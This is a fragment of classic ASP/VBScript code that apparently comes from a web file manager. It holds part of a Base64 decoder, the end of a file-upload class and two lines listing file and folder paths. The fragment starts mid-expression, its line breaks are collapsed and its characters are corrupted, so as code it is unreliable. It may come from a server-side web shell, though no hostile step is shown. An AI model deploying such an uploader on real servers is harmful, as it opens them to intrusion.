mimedecode(Mid(strIn, n + 1, 1)) w3 = mimedecode(Mid(strIn, n + 2, 1)) w4 = mimedecode(Mid(strIn, n + 3, 1)) If w2 >= 0 Then _ strOut = strOut + _ Chr(((w1 * 4 + Int(w2 / 16)) And 255)) If w3 >= 0 Then _ strOut = strOut + _ Chr(((w2 * 16 + Int(w3 / 4)) And 255)) If w4 >= 0 Then _ strOut = strOut + _ Chr(((w3 * 64 + w4) And 255)) Next DecodeStr = strOut End Function Private Function mimeencode(byVal intIn) If intIn >= 0 Then mimeencode = Mid(Base64Chars, intIn + 1, 1) Else mimeencode = "" End If End Function End Class 'Upload Snflar Biti%>

"&Dosyax.Path&"	"&Dosyax.Type&"
"&AltKla.Path&"	"&AltKla.Type&"